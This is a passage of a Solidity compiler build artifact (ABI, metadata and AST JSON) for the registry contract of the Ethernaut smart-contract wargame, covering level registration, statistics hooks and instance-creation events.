xt.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"instance","type":"address"},{"internalType":"address","name":"level","type":"address"},{"internalType":"address","name":"player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"createNewInstance"},{"inputs":[{"internalType":"address","name":"level","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"saveNewLevel"},{"inputs":[{"internalType":"address","name":"instance","type":"address"},{"internalType":"address","name":"level","type":"address"},{"internalType":"address","name":"player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitFailure"},{"inputs":[{"internalType":"address","name":"instance","type":"address"},{"internalType":"address","name":"level","type":"address"},{"internalType":"address","name":"player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitSuccess"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/Ethernaut.sol":"IStatistics"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/Ethernaut.sol","id":49102,"exportedSymbols":{"Context":[48281],"Ethernaut":[49101],"IStatistics":[48877],"Level":[55508],"Ownable":[46700]},"nodeType":"SourceUnit","src":"32:3187:38","nodes":[{"id":48842,"nodeType":"PragmaDirective","src":"32:23:38","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":48843,"nodeType":"ImportDirective","src":"57:33:38","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":49102,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":48844,"nodeType":"ImportDirective","src":"91:54:38","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol","file":"openzeppelin-contracts-08/access/Ownable.sol","nameLocation":"-1:-1:-1","scope":49102,"sourceUnit":46701,"symbolAliases":[],"unitAlias":""},{"id":48877,"nodeType":"ContractDefinition","src":"147:341:38","nodes":[{"id":48849,"nodeType":"FunctionDefinition","src":"175:46:38","nodes":[],"functionSelector":"cd819a6f","implemented":false,"kind":"function","modifiers":[],"name":"saveNewLevel","nameLocation":"184:12:38","parameters":{"id":48847,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48846,"mutability":"mutable","name":"level","nameLocation":"205:5:38","nodeType":"VariableDeclaration","scope":48849,"src":"197:13:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48845,"name":"address","nodeType":"ElementaryTypeName","src":"197:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"196:15:38"},"returnParameters":{"id":48848,"nodeType":"ParameterList","parameters":[],"src":"220:0:38"},"scope":48877,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":48858,"nodeType":"FunctionDefinition","src":"227:85:38","nodes":[],"functionSelector":"7e4326d3","implemented":false,"kind":"function","modifiers":[],"name":"createNewInstance","nameLocation":"236:17:38","parameters":{"id":48856,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48851,"mutability":"mutable","name":"instance","nameLocation":"262:8:38","nodeType":"VariableDeclaration","scope":48858,"src":"254:16:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48850,"name":"address","nodeType":"ElementaryTypeName","src":"254:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48853,"mutability":"mutable","name":"level","nameLocation":"280:5:38","nodeType":"VariableDeclaration","scope":48858,"src":"272:13:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48852,"name":"address","nodeType":"ElementaryTypeName","src":"272:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48855,"mutability":"mutable","name":"player","nameLocation":"295:6:38","nodeType":"VariableDeclaration","scope":48858,"src":"287:14:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48854,"name":"address","nodeType":"ElementaryTypeName","src":"287:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"253:49:38"},"returnParameters":{"id":48857,"nodeType":"ParameterList","parameters":[],"src":"311:0:38"},"scope":48877,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":48867,"nodeType":"FunctionDefinition","src":"318:81:38","nodes":[],"functionSelector":"d0f191e0","implemented":false,"kind":"function","modifiers":[],"name":"submitFailure","nameLocation":"327:13:38","parameters":{"id":48865,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48860,"mutability":"mutable","name":"instance","nameLocation":"349:8:38","nodeType":"VariableDeclaration","scope":48867,"src":"341:16:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48859,"name":"address","nodeType":"ElementaryTypeName","src":"341:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48862,"mutability":"mutable","name":"level","nameLocation":"367:5:38","nodeType":"VariableDeclaration","scope":48867,"src":"359:13:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48861,"name":"address","nodeType":"ElementaryTypeName","src":"359:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48864,"mutability":"mutable","name":"player","nameLocation":"382:6:38","nodeType":"VariableDeclaration","scope":48867,"src":"374:14:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48863,"name":"address","nodeType":"ElementaryTypeName","src":"374:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"340:49:38"},"returnParameters":{"id":48866,"nodeType":"ParameterList","parameters":[],"src":"398:0:38"},"scope":48877,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":48876,"nodeType":"FunctionDefinition","src":"405:81:38","nodes":[],"functionSelector":"2c038c32","implemented":false,"kind":"function","modifiers":[],"name":"submitSuccess","nameLocation":"414:13:38","parameters":{"id":48874,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48869,"mutability":"mutable","name":"instance","nameLocation":"436:8:38","nodeType":"VariableDeclaration","scope":48876,"src":"428:16:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48868,"name":"address","nodeType":"ElementaryTypeName","src":"428:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48871,"mutability":"mutable","name":"level","nameLocation":"454:5:38","nodeType":"VariableDeclaration","scope":48876,"src":"446:13:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48870,"name":"address","nodeType":"ElementaryTypeName","src":"446:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48873,"mutability":"mutable","name":"player","nameLocation":"469:6:38","nodeType":"VariableDeclaration","scope":48876,"src":"461:14:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48872,"name":"address","nodeType":"ElementaryTypeName","src":"461:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"427:49:38"},"returnParameters":{"id":48875,"nodeType":"ParameterList","parameters":[],"src":"485:0:38"},"scope":48877,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IStatistics","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[48877],"name":"IStatistics","nameLocation":"157:11:38","scope":49102,"usedErrors":[],"usedEvents":[]},{"id":49101,"nodeType":"ContractDefinition","src":"490:2728:38","nodes":[{"id":48882,"nodeType":"VariableDeclaration","src":"526:29:38","nodes":[],"constant":false,"functionSelector":"95e272bd","mutability":"mutable","name":"statistics","nameLocation":"545:10:38","scope":49101,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_IStatistics_$48877","typeString":"contract IStatistics"},"typeName":{"id":48881,"nodeType":"UserDefinedTypeName","pathNode":{"id":48880,"name":"IStatistics","nameLocations":["526:11:38"],"nodeType":"IdentifierPath","referencedDeclaration":48877,"src":"526:11:38"},"referencedDeclaration":48877,"src":"526:11:38","typeDescriptions":{"typeIdentifier":"t_contract$_IStatistics_$48877","typeString":"contract IStatistics"}},"visibility":"public"},{"id":48886,"nodeType":"VariableDeclaration","src":"672:48:38","nodes":[],"constant":false,"functionSelector":"cf004695","mutability":"mutable","name":"registeredLevels","nameLocation":"704:16:38","scope":49101,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"},"typeName":{"id":48885,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":48883,"name":"address","nodeType":"ElementaryTypeName","src":"680:7:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"672:24:38","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":48884,"name":"bool","nodeType":"ElementaryTypeName","src":"691:4:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}},"visibility":"public"},{"id":48913,"nodeType":"FunctionDefinition","src":"815:161:38","nodes":[],"body":{"id":48912,"nodeType":"Block","src":"869:107:38","nodes":[],"statements":[{"expression":{"id":48901,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":48894,"name":"registeredLevels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48886,"src":"879:16:38","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":48899,"indexExpression":{"arguments":[{"id":48897,"name":"_level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48889,"src":"904:6:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"id":48896,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"896:7:38","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":48895,"name":"address","nodeType":"ElementaryTypeName","src":"896:7:38","typeDescriptions":{}}},"id":48898,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"896:15:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"879:33:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":48900,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"915:4:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"879:40:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":48902,"nodeType":"ExpressionStatement","src":"879:40:38"},{"expression":{"arguments":[{"arguments":[{"id":48908,"name":"_level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48889,"src":"961:6:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"id":48907,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"953:7:38","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":48906,"name":"address","nodeType":"ElementaryTypeName","src":"953:7:38","typeDescriptions":{}}},"id":48909,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"953:15:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":48903,"name":"statistics","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48882,"src":"929:10:38","typeDescriptions":{"typeIdentifier":"t_contract$_IStatistics_$48877","typeString":"contract IStatistics"}},"id":48905,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"940:12:38","memberName":"saveNewLevel","nodeType":"MemberAccess","referencedDeclaration":48849,"src":"929:23:38","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":48910,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"929:40:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48911,"nodeType":"ExpressionStatement","src":"929:40:38"}]},"functionSelector":"202023d4","implemented":true,"kind":"function","modifiers":[{"id":48892,"kind":"modifierInvocation","modifierName":{"id":48891,"name":"onlyOwner","nameLocations":["859:9:38"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"859:9:38"},"nodeType":"ModifierInvocation","src":"859:9:38"}],"name":"registerLevel","nameLocation":"824:13:38","parameters":{"id":48890,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48889,"mutability":"mutable","name":"_level","nameLocation":"844:6:38","nodeType":"VariableDeclaration","scope":48913,"src":"838:12:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},"typeName":{"id":48888,"nodeType":"UserDefinedTypeName","pathNode":{"id":48887,"name":"Level","nameLocations":["838:5:38"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"838:5:38"},"referencedDeclaration":55508,"src":"838:5:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},"visibility":"internal"}],"src":"837:14:38"},"returnParameters":{"id":48893,"nodeType":"ParameterList","parameters":[],"src":"869:0:38"},"scope":49101,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":48927,"nodeType":"FunctionDefinition","src":"982:115:38","nodes":[],"body":{"id":48926,"nodeType":"Block","src":"1044:53:38","nodes":[],"statements":[{"expression":{"id":48924,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":48920,"name":"statistics","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48882,"src":"1054:10:38","typeDescriptions":{"typeIdentifier":"t_contract$_IStatistics_$48877","typeString":"contract IStatistics"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":48922,"name":"_statProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48915,"src":"1079:10:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":48921,"name":"IStatistics","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48877,"src":"1067:11:38","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IStatistics_$48877_$","typeString":"type(contract IStatistics)"}},"id":48923,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1067:23:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IStatistics_$48877","typeString":"contract IStatistics"}},"src":"1054:36:38","typeDescriptions":{"typeIdentifier":"t_contract$_IStatistics_$48877","typeString":"contract IStatistics"}},"id":48925,"nodeType":"ExpressionStatement","src":"1054:36:38"}]},"functionSelector":"be117dfd","implemented":true,"kind":"function","modifiers":[{"id":48918,"kind":"modifierInvocation","modifierName":{"id":48917,"name":"onlyOwner","nameLocations":["1034:9:38"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"1034:9:38"},"nodeType":"ModifierInvocation","src":"1034:9:38"}],"name":"setStatistics","nameLocation":"991:13:38","parameters":{"id":48916,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48915,"mutability":"mutable","name":"_statProxy","nameLocation":"1013:10:38","nodeType":"VariableDeclaration","scope":48927,"src":"1005:18:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48914,"name":"address","nodeType":"ElementaryTypeName","src":"1005:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1004:20:38"},"returnParameters":{"id":48919,"nodeType":"ParameterList","parameters":[],"src":"1044:0:38"},"scope":49101,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":48935,"nodeType":"StructDefinition","src":"1222:103:38","nodes":[],"canonicalName":"Ethernaut.EmittedInstanceData","members":[{"constant":false,"id":48929,"mutability":"mutable","name":"player","nameLocation":"1267:6:38","nodeType":"VariableDeclaration","scope":48935,"src":"1259:14:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48928,"name":"address","nodeType":"ElementaryTypeName","src":"1259:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48932,"mutability":"mutable","name":"level","nameLocation":"1289:5:38","nodeType":"VariableDeclaration","scope":48935,"src":"1283:11:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},"typeName":{"id":48931,"nodeType":"UserDefinedTypeName","pathNode":{"id":48930,"name":"Level","nameLocations":["1283:5:38"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"1283:5:38"},"referencedDeclaration":55508,"src":"1283:5:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},"visibility":"internal"},{"constant":false,"id":48934,"mutability":"mutable","name":"completed","nameLocation":"1309:9:38","nodeType":"VariableDeclaration","scope":48935,"src":"1304:14:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":48933,"name":"bool","nodeType":"ElementaryTypeName","src":"1304:4:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"name":"EmittedInstanceData","nameLocation":"1229:19:38","scope":49101,"visibility":"public"},{"id":48940,"nodeType":"VariableDeclaration","src":"1331:63:38","nodes":[],"constant":false,"functionSelector":"4f17afd8","mutability":"mutable","name":"emittedInstances","nameLocation":"1378:16:38","scope":49101,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_EmittedInstanceData_$48935_storage_$","typeString":"mapping(address => struct Ethernaut.EmittedInstanceData)"},"typeName":{"id":48939,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":48936,"name":"address","nodeType":"ElementaryTypeName","src":"1339:7:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1331:39:38","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_EmittedInstanceData_$48935_storage_$","typeString":"mapping(address => struct Ethernaut.EmittedInstanceData)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":48938,"nodeType":"UserDefinedTypeName","pathNode":{"id":48937,"name":"EmittedInstanceData","nameLocations":["1350:19:38"],"nodeType":"IdentifierPath","referencedDeclaration":48935,"src":"1350:19:38"},"referencedDeclaration":48935,"src":"1350:19:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage_ptr","typeString":"struct Ethernaut.EmittedInstanceData"}}},"visibility":"public"},{"id":48948,"nodeType":"EventDefinition","src":"1401:103:38","nodes":[],"anonymous":false,"eventSelector":"8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179","name":"LevelInstanceCreatedLog","nameLocation":"1407:23:38","parameters":{"id":48947,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48942,"indexed":true,"mutability":"mutable","name":"player","nameLocation":"1447:6:38","nodeType":"VariableDeclaration","scope":48948,"src":"1431:22:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48941,"name":"address","nodeType":"ElementaryTypeName","src":"1431:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48944,"indexed":true,"mutability":"mutable","name":"instance","nameLocation":"1471:8:38","nodeType":"VariableDeclaration","scope":48948,"src":"1455:24:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48943,"name":"address","nodeType":"ElementaryTypeName","src":"1455:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48946,"indexed":true,"mutability":"mutable","name":"level","nameLocation":"1497:5:38","nodeType":"VariableDeclaration","scope":48948,"src":"1481:21:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48945,"name":"address","nodeType":"ElementaryTypeName","src":"1481:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1430:73:38"}},{"id":48956,"nodeType":"EventDefinition","src":"1509:97:38","nodes":[],"anonymous":false,"eventSelector":"5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d","name":"LevelCompletedLog","nameLocation":"1515:17:38","parameters":{"id":48955,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48950,"indexed":true,"mutability":"mutable","name":"player","nameLocation":"1549:6:38","nodeType":"VariableDeclaration","scope":48956,"src":"1533:22:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48949,"name":"address","nodeType":"ElementaryTypeName","src":"1533:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48952,"indexed":true,"mutability":"mutable","name":"instance","nameLocation":"1573:8:38","nodeType":"VariableDeclaration","scope":48956,"src":"1557:24:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48951,"name":"address","nodeType":"ElementaryTypeName","src":"1557:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48954,"indexed":true,"mutability":"mutable","name":"level","nameLocation":"1599:5:38","nodeType":"VariableDeclaration","scope":48956,"src":"1583:21:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48953,"name":"address","nodeType":"ElementaryTypeName","src":"1583:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1532:73:38"}},{"id":49017,"nodeType":"FunctionDefinition","src":"1612:677:38","nodes":[],"body":{"id":49016,"nodeType":"Block","src":"1670:619:38","nodes":[],"statements":[{"expression":{"arguments":[{"baseExpression":{"id":48963,"name":"registeredLevels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48886,"src":"1727:16:38","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":48968,"indexExpression":{"arguments":[{"id":48966,"name":"_level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48959,"src":"1752:6:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"id":48965,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1744:7:38","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":48964,"name":"address","nodeType":"ElementaryTypeName","src":"1744:7:38","typeDescriptions":{}}},"id":48967,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1744:15:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1727:33:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"54686973206c6576656c20646f65736e277420657869737473","id":48969,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1762:27:38","typeDescriptions":{"typeIdentifier":"t_stringliteral_e533ba49562bf1b5213195e369024cde6af90ae885982693f8c73a13bc763e49","typeString":"literal_string \"This level doesn't exists\""},"value":"This level doesn't exists"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_e533ba49562bf1b5213195e369024cde6af90ae885982693f8c73a13bc763e49","typeString":"literal_string \"This level 